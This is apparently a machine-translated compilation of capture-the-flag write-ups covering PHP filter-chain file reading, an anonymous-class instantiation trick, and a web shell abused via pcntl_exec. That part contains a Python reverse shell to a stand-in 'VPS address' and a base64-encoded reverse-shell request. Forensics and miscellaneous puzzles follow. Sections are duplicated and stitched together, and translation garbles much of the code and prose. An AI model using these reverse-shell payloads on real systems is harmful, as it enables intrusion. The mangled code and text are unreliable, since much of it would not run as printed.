テストポイント:PHPフィルターチェーンを使用- Oracleベースのファイルリーディング攻撃で、EXP実行を生成します。この質問は、PHPバージョン番号が条件を満たしているだけであることを促します。

image-20240721022317838

ペイロードを実行する、ここでさらに数回実行する必要があるかもしれません

python3 filters_chain_oracle_exploit.py - ターゲットhttp://eci-2zea1zzp9231ugqw9htd.cloudeci1.icunqiu.com/---file flag.php -parameter f

アクセス /flag.php?ezphpphp8生成されたソースコードを読み取ります

image-20240721022347849

image-20240721022524879

?php

if(isset($ _ get ['ezphpphp8'])){

highlight_file(__ file__);

} それ以外{

die( 'no');

}

$ a=new class {

function __construct()

{

}

関数getFlag()

{

System( 'cat /flag');

}

};

Unset($ a);

$ a=$ _get ['ezphpphp8'];

$ f=new $ a();

$ f-getflag();

この質問は、PHPバージョンがPHP 8.3.2であることを促しています。 PHPの公式Webサイトにアクセスして、Changelogを表示し、GH-13097を直接ロックします。

image-20240721030306000

ローカルデバッグ、匿名のクラスを使用してフラグを読むことができ、ペイロードを構築できることがわかりました

コンテナをローカルに作成します。

Docker run -ITD -P 1238:80 PHP:8.3.2 -APACHE

docker exec -itコンテナID /bin /bash

flag.phpとテストコードを次のように配置します。

?php

if(isset($ _ get ['ezphpphp8'])){

//highlight_file(__ file__);

} それ以外{

//die( 'no');

}

$ anonymous=new class {

function __construct()

{

}

関数getFlag()

{

System( 'cat /flag');

}

};

$ a=get_class($ anonymous);

echo urlencode($ a);

echo '\ n';

Unset($ anonymous);

//echo get_class($ a)。 ':今、あなたは私を見ます.';

$ a=urldecode( 'class%40anonymous%00%2fvar%2fwww%2fhtml%2fflag.php%3a7%240');

$ f=new $ a();

$ f-getflag();

var_dump($ f);

//新しい例外を投げる(

//get_class($ anonymous)。今、あなたは\ 't!'をしないでください

//e_user_error

//);

GetFlagメソッドを実行できることがわかります。

image-20240721030403850

image-20240721022458707

expを構築する:

/flag.php?ezphpphp8=anonymous

/flag.php?ezphpphp8=class@anonyous%00/var/www/html/flag.php33607$1

/flag.php?ezphpphp8=class@anonyous%00/var/www/html/flag.php33607$0

image-20240721022543080

unauth

ログインポートを起動します

image-20240721022613215

Webサイトパス/www.zipの管理者とのパスワードが漏れました:

image-20240721022644892

www.zip漏れたソースコードは次のとおりです。

?php

if(!isset($ _ server ['php_auth_user'])){

ヘッダー( 'www-authenticate: Basic Realm='制限領域'');

ヘッダー( 'http/1.0 401承認');

Echo 'Xiao Mingは運用およびメンテナンスエンジニアであり、最近Webサイトにバグがありました。 ';

出口;

} それ以外{

$ validuser='admin';

$ validPass='2E525E29E465F45D8D7C56319FE73036';

if($ _server ['php_auth_user']!=$ validuser || $ _server ['php_auth_pw']!=$ validpass){

ヘッダー( 'www-authenticate: Basic Realm='制限領域'');

ヘッダー( 'http/1.0 401承認');

エコー「無効な資格情報」;

出口;

}

}

@eval($ _ get ['cmd']);

highlight_file(__ file__);

簡単な監査を行うことができ、コマンドを実行できますが、それらのほとんどは禁止されています。

ログインした後、パスワードCMDを搭載したTrojanの文があり、多くの機能を禁止しました。テスト後、PCNTL_EXECを使用してシェルをリバウンドできることがわかりました。

//パスパラメーター、リバウンドシェルを投稿します

1=pcntl_exec( '/usr/bin/python'、array( '-c'、 'import socket、subprocess、os; s=socket.socket(socket.af_inet、socket.sock_stream、socket.sol_tcp); s.connect((' vpsアドレス」、ポートpot) sh '、' -i ']);')

最終的に、あなたは権利を上げる必要があります。私はsuidを試しましたが、失敗しました。パスワードが管理者ユーザーパスワードである構成ファイルconfig.inc.phpがあることがわかりました。

image-20240721022721413

! - ?php

#MySQLデータベースに接続するのに問題があり、以下のすべての変数が正しい場合

#localhostから127.0.0.1に「db_server」変数を変更してみてください。ソケットのために問題を修正します。

#修正について@digininjaに感謝します。

#使用するデータベース管理システム

$ dbms='mysql';

#$ dbms='pgsql'; //現在無効になっています

#データベース変数

#Warning: db_databaseで指定されているデータベースは、セットアップ中に完全に削除されます。

#DVWA専用のデータベースを使用してください。

#mariadbを使用している場合は、rootを使用できません。専用のDVWAユーザーを作成する必要があります。

#これの詳細については、readme.mdを参照してください。

$ _DVWA=array();

$ _DVWA ['db_server']='127.0.0.1';

$ _dvwa ['db_database']='dvwa';

$ _dvwa ['db_user']='root';

$ _DVWA ['DB_PassWord']='B90E0086D8B1165403DE6974C4167165';

#PostgreSQL/PGSQLデータベースの選択でのみ使用。

$ _dvwa ['db_port']='5432';

#recaptcha設定

#「不安定なCaptcha」モジュールに使用されます

#独自のキーを生成する必要がありますat: https://www.google.com/recaptcha/admin

$ _dvwa ['recaptcha_public_key']='6ldk7xitaazzaajqtfl7fu6i-0apl8khhieat_yjg';

$ _dvwa ['recaptcha_private_key']='6ldk7xitazzaal_uw9yxvuopoihpzlfw2k1n5nvq';

#デフォルトのセキュリティレベル

#各セッションのセキュリティレベルのデフォルト値。

#デフォルトは「不可能」です。これを「低」、「中」、「高」、または不可能」に設定することをお勧めします。

$ _DVWA ['Default_Security_Level']='Impossion';

#デフォルトのphpidsステータス

#各セッションでPHPIDSステータス。

#デフォルトは「無効」です。これを「有効」または「無効」のいずれかに設定できます。

$ _DVWA ['Default_Phpids_Level']='Disabled';

#verbose phpidsメッセージ

#これを有効にすると、WAFがブロックされたリクエストでリクエストをブロックした理由が示されます。

#デフォルトは「無効」です。これを「真」または「偽」のいずれかに設定できます。

$ _DVWA ['default_phpids_verbose']='false';

? -

パケットはシェルをリバウンドし、コマンドをインタラクティブシェルに実行し、取得したパスワードB90E0086D8B1165403DE6974C4167165を使用して管理者ユーザーに切り替えてフラグを読み取ります

得る/?cmd=pcntl_exec( '/usr/bin/python'、['-c'、base64_decode( 'aw1wb3j0ihnvy2tldcxzdwjwcm9jz) xnzlg9zo3m9c29ja2v0lnnvy2tldchzb2nrzxququzfsu5fvcxzb2nrzxquu09ds19tvfjfqu0po3muy29ubm vjdcgoijey4xmjMumtizljeyismtiznckpo29zlmr1cdiocy5mawxlbm8okwktsgb3muzhvwmizlmz pbgvubygpldepo29zlmr1cdiocy5mawxlbm8okswyktpbxbvcnqgchr5oybwdhkuc3bhd24oinnoiik='))); HTTP/1.0

host: xxx.com

pragma: no-cache

Cache-Control: No-Cache

Authorization: BASIC YWRTAW46MMU1MJVLMJLLNDY1ZJQ1ZHKN2M1NJMXOWZLNZMWMZY=

アップグレード-Insecure-Requests: 1

www-authenticate: Basic Realm='制限領域

user-agent: mozilla/5.0(Macintosh; Intel Mac OS X 10_15_7)AppleWebkit/537.36(Khtml、geckoのような)Chrome/123.0.0.0 Safari/537.36

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=B3; Q=0.7

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9、JA; Q=0.8、VI; Q=0.7

cookie: phpsessid=

Connection:閉じます

image-20240721022743516

遊び場

RUSTソースコード監査の質問は、次のようにソースコードを提供します、この質問は基本的に解決されます

#[macro_use] extern crateロケット;

STD:FSを使用します。

STD:FS:3360FILEを使用します。

STD:IO:3360WRITEを使用します。

STD:Process:Commandを使用します。

RAND:3360RNGを使用します。

#[得る('/')]

fn index() - string {

fs:read_to_string( 'main.rs')。unwrap_or(string:default()))

}

#[post( '/rust_code'、data='code')]

fn run_rust_code(code: string) - string {

code.contains( 'std'){

return 'error: stdは許可されていません'.to_string();

}

//ランダムな5長さファイル名を生成します

let file_name=rand:3360thread_rng()

.sample_iter(rand:3360distributions:alphanumeric)

.take(5)

.map(char: -from)

.COLLECT:STRING();

let let ok(mut file)=file:3360create(format!( 'playground/{}。rs'、file_name)){

file.write_all(code.as_bytes());

}

OK(build_output)=command:New( 'rustc')の場合

.arg(format!( 'playground/{}。rs'、file_name)))

.arg( '-C')

.arg( 'debuginfo=0')

.arg( '-C')

.arg( 'opt-level=3')

.arg( '-o')

.arg(format!( 'playground/{}'、file_name))

.output(){

if!build_output.status.success(){

FS:REMOVE_FILE(format!( 'playground/{}。rs'、file_name));

return String:from_utf8_lossy(build_output.stderr.as_slice())。to_string();

}

}

FS:REMOVE_FILE(format!( 'playground/{}。rs'、file_name));

OK(output)=command:New(format!( 'playground/{}'、file_name))の場合

.output(){

if!output.status.success(){

FS:REMOVE_FILE(format!( 'playground/{}'、file_name));

return string:from_utf8_lossy(output.stderr.as_slice())。to_string();

} それ以外{

FS:REMOVE_FILE(format!( 'playground/{}'、file_name));

return string:from_utf8_lossy(output.stdout.as_slice())。to_string();

}

}

return string:default();

}

#[打ち上げ]

fn rocket() - _ {

figment=rocket:config3360:figment()

.merge(( 'address'、 '0.0.0.0'));

Rocket:Custom(figment).Mount( '/'

web

ezphp

タイトル説明:衛星通信技術に焦点を当てた研究チームは、データ送信の効率とセキュリティを改善するためのコミュニケーションシステムを改善するために取り組んでいます。チームは、通信システムの開発を改善するためにPHP 8.3.2を使用することにしました。

テストポイント:PHPフィルターチェーンオラクル

PHPフィルターチェーン—— Oracleベースのファイルリーディング攻撃

参照:https://xz.aliyun.com/t/12939?time__1311=mqmhqix%2bxfod7dloagkwepsazhg%3d4d#toc-16

質問のソースコードは次のとおりです

?php

highlight_file(__ file__);

//flag.php

if(isset($ _ post ['f'])){

echo hash_file( 'md5'、$ _post ['f']);

}

image-20240721022130265

ここで入手可能なプロジェクト:https://github.com/synacktiv/php_filter_chains_oracle_exploit/

テストポイント:PHPフィルターチェーンを使用- Oracleベースのファイルリーディング攻撃で、EXP実行を生成します。この質問は、PHPバージョン番号が条件を満たしているだけであることを促します。

image-20240721022317838

ペイロードを実行する、ここでさらに数回実行する必要があるかもしれません

python3 filters_chain_oracle_exploit.py - ターゲットhttp://eci-2zea1zzp9231ugqw9htd.cloudeci1.icunqiu.com/---file flag.php -parameter f

アクセス /flag.php?ezphpphp8生成されたソースコードを読み取ります

image-20240721022347849

image-20240721022524879

?php

if(isset($ _ get ['ezphpphp8'])){

highlight_file(__ file__);

} それ以外{

die( 'no');

}

$ a=new class {

function __construct()

{

}

関数getFlag()

{

System( 'cat /flag');

}

};

Unset($ a);

$ a=$ _get ['ezphpphp8'];

$ f=new $ a();

$ f-getflag();

この質問は、PHPバージョンがPHP 8.3.2であることを促しています。 PHPの公式Webサイトにアクセスして、Changelogを表示し、GH-13097を直接ロックします。

image-20240721030306000

ローカルデバッグ、匿名のクラスを使用してフラグを読むことができ、ペイロードを構築できることがわかりました

コンテナをローカルに作成します。

Docker run -ITD -P 1238:80 PHP:8.3.2 -APACHE

docker exec -itコンテナID /bin /bash

flag.phpとテストコードを次のように配置します。

?php

if(isset($ _ get ['ezphpphp8'])){

//highlight_file(__ file__);

} それ以外{

//die( 'no');

}

$ anonymous=new class {

function __construct()

{

}

関数getFlag()

{

System( 'cat /flag');

}

};

$ a=get_class($ anonymous);

echo urlencode($ a);

echo '\ n';

Unset($ anonymous);

//echo get_class($ a)。 ':今、あなたは私を見ます.';

$ a=urldecode( 'class%40anonymous%00%2fvar%2fwww%2fhtml%2fflag.php%3a7%240');

$ f=new $ a();

$ f-getflag();

var_dump($ f);

//新しい例外を投げる(

//get_class($ anonymous)。今、あなたは\ 't!'をしないでください

//e_user_error

//);

GetFlagメソッドを実行できることがわかります。

image-20240721030403850

image-20240721022458707

expを構築する:

/flag.php?ezphpphp8=anonymous

/flag.php?ezphpphp8=class@anonyous%00/var/www/html/flag.php33607$1

/flag.php?ezphpphp8=class@anonyous%00/var/www/html/flag.php33607$0

image-20240721022543080

unauth

ログインポートを起動します

image-20240721022613215

Webサイトパス/www.zipの管理者とのパスワードが漏れました:

image-20240721022644892

www.zip漏れたソースコードは次のとおりです。

?php

if(!isset($ _ server ['php_auth_user'])){

ヘッダー( 'www-authenticate: Basic Realm='制限領域'');

ヘッダー( 'http/1.0 401承認');

Echo 'Xiao Mingは運用およびメンテナンスエンジニアであり、最近Webサイトにバグがありました。 ';

出口;

} それ以外{

$ validuser='admin';

$ validPass='2E525E29E465F45D8D7C56319FE73036';

if($ _server ['php_auth_user']!=$ validuser || $ _server ['php_auth_pw']!=$ validpass){

ヘッダー( 'www-authenticate: Basic Realm='制限領域'');

ヘッダー( 'http/1.0 401承認');

エコー「無効な資格情報」;

出口;

}

}

@eval($ _ get ['cmd']);

highlight_file(__ file__);

簡単な監査を行うことができ、コマンドを実行できますが、それらのほとんどは禁止されています。

ログインした後、パスワードCMDを搭載したTrojanの文があり、多くの機能を禁止しました。テスト後、PCNTL_EXECを使用してシェルをリバウンドできることがわかりました。

//パスパラメーター、リバウンドシェルを投稿します

1=pcntl_exec( '/usr/bin/python'、array( '-c'、 'import socket、subprocess、os; s=socket.socket(socket.af_inet、socket.sock_stream、socket.sol_tcp); s.connect((' vpsアドレス」、ポートpot) sh '、' -i ']);')

最終的に、あなたは権利を上げる必要があります。私はsuidを試しましたが、失敗しました。パスワードが管理者ユーザーパスワードである構成ファイルconfig.inc.phpがあることがわかりました。

image-20240721022721413

! - ?php

#MySQLデータベースに接続するのに問題があり、以下のすべての変数が正しい場合

#localhostから127.0.0.1に「db_server」変数を変更してみてください。ソケットのために問題を修正します。

#修正について@digininjaに感謝します。

#使用するデータベース管理システム

$ dbms='mysql';

#$ dbms='pgsql'; //現在無効になっています

#データベース変数

#Warning: db_databaseで指定されているデータベースは、セットアップ中に完全に削除されます。

#DVWA専用のデータベースを使用してください。

#mariadbを使用している場合は、rootを使用できません。専用のDVWAユーザーを作成する必要があります。

#これの詳細については、readme.mdを参照してください。

$ _DVWA=array();

$ _DVWA ['db_server']='127.0.0.1';

$ _dvwa ['db_database']='dvwa';

$ _dvwa ['db_user']='root';

$ _DVWA ['DB_PassWord']='B90E0086D8B1165403DE6974C4167165';

#PostgreSQL/PGSQLデータベースの選択でのみ使用。

$ _dvwa ['db_port']='5432';

#recaptcha設定

#「不安定なCaptcha」モジュールに使用されます

#独自のキーを生成する必要がありますat: https://www.google.com/recaptcha/admin

$ _dvwa ['recaptcha_public_key']='6ldk7xitaazzaajqtfl7fu6i-0apl8khhieat_yjg';

$ _dvwa ['recaptcha_private_key']='6ldk7xitazzaal_uw9yxvuopoihpzlfw2k1n5nvq';

#デフォルトのセキュリティレベル

#各セッションのセキュリティレベルのデフォルト値。

#デフォルトは「不可能」です。これを「低」、「中」、「高」、または不可能」に設定することをお勧めします。

$ _DVWA ['Default_Security_Level']='Impossion';

#デフォルトのphpidsステータス

#各セッションでPHPIDSステータス。

#デフォルトは「無効」です。これを「有効」または「無効」のいずれかに設定できます。

$ _DVWA ['Default_Phpids_Level']='Disabled';

#verbose phpidsメッセージ

#これを有効にすると、WAFがブロックされたリクエストでリクエストをブロックした理由が示されます。

#デフォルトは「無効」です。これを「真」または「偽」のいずれかに設定できます。

$ _DVWA ['default_phpids_verbose']='false';

? -

パケットはシェルをリバウンドし、コマンドをインタラクティブシェルに実行し、取得したパスワードB90E0086D8B1165403DE6974C4167165を使用して管理者ユーザーに切り替えてフラグを読み取ります

得る/?cmd=pcntl_exec( '/usr/bin/python'、['-c'、base64_decode( 'aw1wb3j0ihnvy2tldcxzdwjwcm9jz) xnzlg9zo3m9c29ja2v0lnnvy2tldchzb2nrzxququzfsu5fvcxzb2nrzxquu09ds19tvfjfqu0po3muy29ubm vjdcgoijey4xmjMumtizljeyismtiznckpo29zlmr1cdiocy5mawxlbm8okwktsgb3muzhvwmizlmz pbgvubygpldepo29zlmr1cdiocy5mawxlbm8okswyktpbxbvcnqgchr5oybwdhkuc3bhd24oinnoiik='))); HTTP/1.0

host: xxx.com

pragma: no-cache

Cache-Control: No-Cache

Authorization: BASIC YWRTAW46MMU1MJVLMJLLNDY1ZJQ1ZHKN2M1NJMXOWZLNZMWMZY=

アップグレード-Insecure-Requests: 1

www-authenticate: Basic Realm='制限領域

user-agent: mozilla/5.0(Macintosh; Intel Mac OS X 10_15_7)AppleWebkit/537.36(Khtml、geckoのような)Chrome/123.0.0.0 Safari/537.36

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=B3; Q=0.7

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9、JA; Q=0.8、VI; Q=0.7

cookie: phpsessid=

Connection:閉じます

image-20240721022743516

遊び場

RUSTソースコード監査の質問は、次のようにソースコードを提供します、この質問は基本的に解決されます

#[macro_use] extern crateロケット;

STD:FSを使用します。

STD:FS:3360FILEを使用します。

STD:IO:3360WRITEを使用します。

STD:Process:Commandを使用します。

RAND:3360RNGを使用します。

#[得る('/')]

fn index() - string {

fs:read_to_string( 'main.rs')。unwrap_or(string:default()))

}

#[post( '/rust_code'、data='code')]

fn run_rust_code(code: string) - string {

code.contains( 'std'){

return 'error: stdは許可されていません'.to_string();

}

//ランダムな5長さファイル名を生成します

let file_name=rand:3360thread_rng()

.sample_iter(rand:3360distributions:alphanumeric)

.take(5)

.map(char: -from)

.COLLECT:STRING();

let let ok(mut file)=file:3360create(format!( 'playground/{}。rs'、file_name)){

file.write_all(code.as_bytes());

}

OK(build_output)=command:New( 'rustc')の場合

.arg(format!( 'playground/{}。rs'、file_name)))

.arg( '-C')

.arg( 'debuginfo=0')

.arg( '-C')

.arg( 'opt-level=3')

.arg( '-o')

.arg(format!( 'playground/{}'、file_name))

.output(){

if!build_output.status.success(){

FS:REMOVE_FILE(format!( 'playground/{}。rs'、file_name));

return String:from_utf8_lossy(build_output.stderr.as_slice())。to_string();

}

}

FS:REMOVE_FILE(format!( 'playground/{}。rs'、file_name));

OK(output)=command:New(format!( 'playground/{}'、file_name))の場合

.output(){

if!output.status.success(){

FS:REMOVE_FILE(format!( 'playground/{}'、file_name));

return string:from_utf8_lossy(output.stderr.as_slice())。to_string();

} それ以外{

FS:REMOVE_FILE(format!( 'playground/{}'、file_name));

return string:from_utf8_lossy(output.stdout.as_slice())。to_string();

}

}

return string:default();

}

#[打ち上げ]

fn rocket() - _ {

figment=rocket:config3360:figment()

.merge(( 'address'、 '0.0.0.0'));

Rocket:Custom(figment).Mount( '/'

1。ミス

1。ホットポットチェーン観光チェックイン

開いた後、ウォレットを接続し、クリックしてゲームを開始し、質問に8回回答した後、NFTをクリックします。旗のある写真については何も言うことはありません。知識Q&Aの質問

v020kxwgqme580.png

NFTを引き換えます

tegum4x2vmy582.png

フラグ{y0u_ar3_hotpot_k1ng}

2.軌跡図

メソッド1:PyのNumpyおよびPandasライブラリを使用してNPZファイルを読み取り、CSVファイルとして保存します。コードは次のとおりです。npiportpandasとしてpdnp.set_printoptions(threshold=np.inf)a1=np.load( 'attachment.npz'、approw_pickle=true)print(a1.files)print( 'read:' '、a1)index=a1 [' index '' indec 'ind a1 [' index '' index '' indecl a1 ['output'] mytra=a1 ['trace']#print(mytra.shape)df=pd.dataframe(mytra)df.to_csv( 'data1.csv'、index=false)df1=pd.dataframe({'index''3360index、'入力': myin})df1.to_csv( 'data2.csv'、index=false)data1.csv、data2.csvを取得し、data.csvを取得するためにマージします。 data.csvをオープンすると、消費電力データが表示されます。 https://zhuanlan.zhihu.com/p/157585244によると、この質問の鍵は、インデックスの正しいパスワードである他の文字とは異なる文字を見つけることだと思います。これに基づいて、図に示すように4番目の文字などのExcelのラインチャート関数を使用して、在这里插入图片描述に、他の線とは異なる緑の線があることがわかります。

順番に繰り返してキー全体を取得します:_ciscn_2024_

つまり、フラグ:フラグ{_ciscn_2024_}

方法2:テストコード:Numpyをnpimportlib matplotlib.pyplotとしてpltmatplotlib.useとしてインポートします( 'tkagg')data=np.load( './attach.npz')print(data.files)aa=data [data.files [0]] bb=data [1 data [data [data [data] dd] data [data.files [3]] print(len(aa)、aa)print(len(bb)、bb)print(len(cc)、cc)print(len(dd)、dd)for i in reng(len(dd)): plt.scapter([i for i for i in dd [i])、DD NPZファイルからの4つのファイルの。出力は空です。他の3つのファイルの配列長はすべて520です。インデックスによると、各40を取得できます。合計で13の平文があるとほぼ判断しています。1049983-20241004225425375-1250230147.pngInputはテーブルです。1049983-20241004225426348-2102281765.pngOutputは空です。トレースのデータはすべて小数です。1049983-20241004225427236-1767167632.pngトレースのデータにドットプロットを描画してみてください:1049983-20241004225428016-911719087.pngデータの各セットの最大値に多くのポイントがあることを発見しました。

npdata=np.load( './attachment.npz')dd=date [data.files [3]] for i in range(len(dd)): min_index=np.argmin(dd [i])print(f'minimum index(f'minimum index for Group {i} 3360 {ver all_index '') '') 985、他のデータには他の異なる数値があります。1049983-20241004225429043-1156571575.png 40個のデータグループの最小値の添え字を使用して、グラフ分析を再度描画します。最大値は1つしかないことがわかったため、最大値の添え字を見つけ続け、入力テーブルから対応する文字を取得する必要があります:1049983-20241004225430234-1674052168.pngExp:

npimportmatplotlib.pyplotとしてnumpyをpltf=np.load( './attach.npz')index=f ['index'] ip=f ['input'] tr=f ['trace'] for _ in _ in _ in range(13): t=[] for _ for _ for _ in範囲(40):#各リストの散布図を描画し、最小値#plt.scatter([i for i for i in ren(tr [_*40+i])]]、tr [_*40+i])#plt.show() T.Append(min)#40リストの最小値の添え字をデータとして使用し、画像を描画し、範囲のIに最大値があることを見つけます(len(t)): plt.scatter([i for i for i in ren(t))]、np.array(t))plt.show()テーブルからind=table [mins]#flag +=indprint(flag)に文字を追加

GET:_CISCN_2024_A前のグループの最後のデータセットはすべて985であるため、最後のデータセットから取得されたAはAとしてカウントされません。最終フラグが取得されます:フラグ{_ciscn_2024_}

3。神秘的なファイル

メソッド1:究極の人形はぼやけており、実際にそれを探しています。 PPTファイルを取得し、接尾辞を.zipに変更して、DocPropsディレクトリの2つのXMLでPART1を見つけます。 app.xmlは、復号化アルゴリズムをプロンプトします。Core.xmlは、ciphertextとキーキーをプロンプトします。Cyberimageに移動します。 PPTから開くと、第2章の左上隅にある黒いピースです。ダブルクリックし、開いた後にすべてを選択し、色を変更し、色を変更し、Caesar Offset 10を復号化してからPART2 image imagePART3を取得します。私は本当にこれを長い間検索しました。その後、オンラインで検索したところ、PPTステガノグラフィは、VBAプロジェクト復号化と呼ばれるマクロとマクロスクリプトに関連している可能性があることがわかりました。最初にvbaproject.binを開いて、dpbバイトを見つけ、最後のビットをxに変更し、サフィックスを.zipに保存し、直接開き、含意のファイルを見つけます。 VBAフォルダーでモジュール1を開きます。image。暗号文を見つけました。それが何であるかはわかりませんが、プロンプトはBase64の後です。次に、最初にそれを復号化してから、文字化けしたコードを取得します。一般的に、特殊文字はよりRC4または腐敗しています。最後に、パスワードなしで復号化されていることがわかりました。次に、base64のレイヤーで復号化します。imagePART4は、PPTを直接開きます(メディアフォルダの写真で構成されているため)。 3番目の写真は、目に見える隠された文字を選択することです。私のコンピューターはデフォルトで自動的にそれを選択するため、直接表示できます。 base64デコードimagePART5は、第5章PPTのコメントにあります。直接サイバーシェフハットラン、マルチレイヤーベース64デコード、5番目のパートimagePART6は、5番目のPPTテキストの境界の左上隅にあります。メディアフォルダーをスケーリングまたは直接分解することができます。 base64デコードimagePART7は、PPT \スライドの下でSlides4.xmlにあり、ID4の位置を以下に促します。 rot13すべて、数字を含むことを意味します、base64デコードimage

PART8はナンピングのSlidelayout2.xmlにあります。最初はそれが何を意味するのか理解できませんでした。接続した後にのみ理解しました。つまり、上記の文字列からBB13を削除するためです。次に、base64デコードimage imagePART9メディアフォルダで直接、猫の男の写真の左下隅を見てください。

バージニア州コメント1.xmlのパート10は、デコードされています。キーは毛皮のようなimageです

要するに、最後のフラグはフラグです{e675EFB3-346F-405F-90DD-2222222B387EDEE9}メソッド2:最初に、いくつかのシンプルで簡単に見つけることができます。 Base64、バージニア州、シーザーなどをデコードするための迅速なルールに従ってください。PPTでは多くのことを見つけることができます:1049983-20241004225442421-920104914.png 1049983-20241004225443402-1060950235.png 1049983-20241004225444338-1660903503.png ZIPサフィックスを変更すると、世界ドキュメント:010-6926 1049983-20241004225446022-1338623161.pngで見つけます1049983-20241004225446869-378067329.png写真:1049983-20241004225447784-2112391753.png合計で、PART23360675EFBPAYT4:606F-40PART53:5F-90DPART6:D-2PART933333333333333333333333333333333333333333333333333333333333333333333333331049983-20241004225448650-1890017793.pngバイナリファイルi13pomdzeazhfy4dgs+vua==ここにbase64+rc4+base64 1049983-20241004225449476-43250540.png Get Part33:3-34pptファイル属性:010-695552 Ciphertext:qfpppppppppppppppq6zzmzzzzmmmmm32 bifldkey:lanjing;1049983-20241004225450869-712111176.png PART1:FLAGを取得{EPPTマスター:1049983-20241004225451627-339244211.png BB13を削除し、Base64 1049983-20241004225452517-437982105.png PART8336087E Select Pane:1049983-20241004225454299-719789787.png=1049983-20241004225454299-719789787.png最終フラグを取得するためのスプライシング:flag {e675EFB3-346F-405F-90DD-2222222222B387EDEE9}最後にシンボルのフラグを見つけます表imagebase64デコードしてフラグを取得するためにflag imageメソッド2:binwalkを使用してzlibファイルを分離し、コードは次のとおりです。 Open(input_fileName、 'rb')as compressed_file: compressed_data=compressed_file.read()decompressed_data=zlib.decompress(compressed_data)with open(output_filename、 'wb')as output_file.write.='35 .zlib'output_file='decompressed_data.txt'decompress_zlib_file(input_file、output_file)winhexを使用してdecompressed_data.txtを開いて、base64の後にエンコードされたフラグを見ることができます。在这里插入图片描述フラグを取得するためのデコード:

材料の検索

リンク:https://pan.baidu.com/s/1fwhb_5svmyk3gr4-qenc0q?pwd=43a3

パスワードの取り付け:2024fic@Hangzhou Powered〜by hl!

携帯電話部品

1。容疑者の携帯電話モデルは何ですか? A. Xiaomi Mi 2s

B. Xiaomi Mi 4c。 Xiaomi Mi 6

D. Xiaomi Mi 8

Fire EyeのBluetooth名の分析はXiaomi Mi3wです

ImageIMAGE-20240428163939574ただしオプションがないため、useragent.txtを介して電話モデルを確認できます。

ImageIMAGE-202404281650191512。容疑者は、彼がタブレットのコンピューターデバイスを持っている可能性はありますか?デバイスのモデルがある場合は? A. iPad Pro 11

B.生体内パッド2

C. MatePad Pro

D. Xiaomi Pad 6swifi接続レコード

ImageImage-202404281652122823。容疑者が電話のホットスポットをオンにするパスワードは何ですか?火の目は数秒です

ImageImage-202404281652461005AADA11BC1B5

4.容疑者の内部Wechat IDは何ですか?ImageIMAGE-20240428165304967WXID_WNIGMUD8AJ6J12

5.容疑者が技術者に送信したウェブサイトソースコードのダウンロードアドレスは何ですか?ImageIMAGE-20240428165400943 ImageIMAGE-2024040428165429531新しい仏は言った:僧ksのホールは僧monced、モンクスホール、モンクスホール、モンクスホール、モンクスホールホール、僧k'sホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧ksホール、僧ksホール、僧khホール、モンクスホール、モンクスホール、僧kのホール、僧kのホール、僧kのホール、モンクホール、モンクスホール僧k'sホール、僧k'sホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧khのホール、僧khのホール、僧khのホール、僧khのホール、僧kのホール、僧kshallのホール、僧ksのホール、モンクスホール、モンクスホール、モンクスホール、モンクスホール、モンクスホールホール、僧k'sホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧ksホール、僧ksホール、僧khホール、モンクスホール、モンクスホール、僧kのホール、僧kのホール、僧kのホール、モンクホール、モンクスホール修道士ホール、僧k

新しい仏は数秒です(http://hi.pcmoe.net/buddha.html)

ImageImage-20240428165507691333333333333333333333333333333http:///DOWN

6.被害者のWeChatユーザーIDは何ですか?ImageIMAGE-20240428165547833チャット履歴を見る

ImageIMAGE-20240428165610957WXID_U6UMC696CMS422

7.容疑者が初めてWiFiに接続したのはいつですか? A. 03-14 15:555:57

B. 03-14 16:55:57C。 03-14 17:55:57

D. 03-14 18:555:57

ImageIMAGE-20240428165810208 ImageIMAGE-202404281658487248。容疑者の社会習慣を分析します。 A. 12336000-14:00

B. 14336000-16:00

C. 16336000-18336000D。 18:00-20:00

多くは16336000-18:00です

Imageimage-20240428165929835 ImageImage-202404281659427399。容疑者の携帯電話を分析してください。事件のギャングには別の重要な参加者がいます。警察は彼を逮捕しなかった。容疑者が使用するWeChatアカウントIDは?ケース資料は、LiとZhaoがRose Goldブレスレットを持ってきたと書かれていますが、チャットの記録を通して、彼らは愚かなグラウンドホッグも参加したことを発見しました。

ImageIMAGE-20240428170234471WXID_06F01LNPAVN722

10。容疑者の携帯電話を分析してください。容疑者のボスは、ギャンブル活動に参加するために人員を組織します。使用される国内アクセスポータルアドレスは?ImageIMAGE-2024042817034299192.168.110.110:8000/ログイン

サーバークラスター質問

1。ESXiサーバーのESXiバージョンは何ですか?サンプル2を直接シミュレートすると、ファイヤーアイがESXI6.7.0を自動的に認識します

ImageImage-20240428171510091シミュレーション後に見ることができます

ImageIMAGE-202404281717240206.7.0

2。ESXiサーバーを分析してください。このシステムの設置日は次のとおりです。A。2024年3月12日火曜日02:04:15 UTCB。 2024年3月12日火曜日02:05336015 UTC

C. 2024年3月12日火曜日02:06336015 UTC

D. 2024年3月12日火曜日02:07336015 UTC

root +空のパスワードを使用して入力し、NATサブネットIPに一致することを忘れないでください

ImageIMAGE-202404281723022013。 ESXIサーバーデータストア「DataStore」のUUIDとは何ですか?ImageIMAGE-2024042817235764365EFB8A8-DD817F6-04FF-000C297BD0E6

4.ESXIサーバーの元のIPアドレス?ImageImage-20240428172443893192.168.8.112

5. EXSIサーバーでいくつの仮想マシンが作成されましたか?ImageIMAGE-202404281725259694

6.ウェブサイトサーバーに縛られたIPアドレスは何ですか?仮想マシンを起動した後、IPが表示されませんでした

したがって、直接スキャン192.168.8.1-192.168.8.8.255

Imageimage-20240428173828294 192.168.8.89のみが入ることができます。スキャンを終えたとき、彼は再びIPを持っていることがわかりました。

また、192.168.8.128がRocketchatであることがわかりました。私は検索し、そのポートが3000であることを発見し、Rocketchatの背景にも入りました。

192.168.8.89

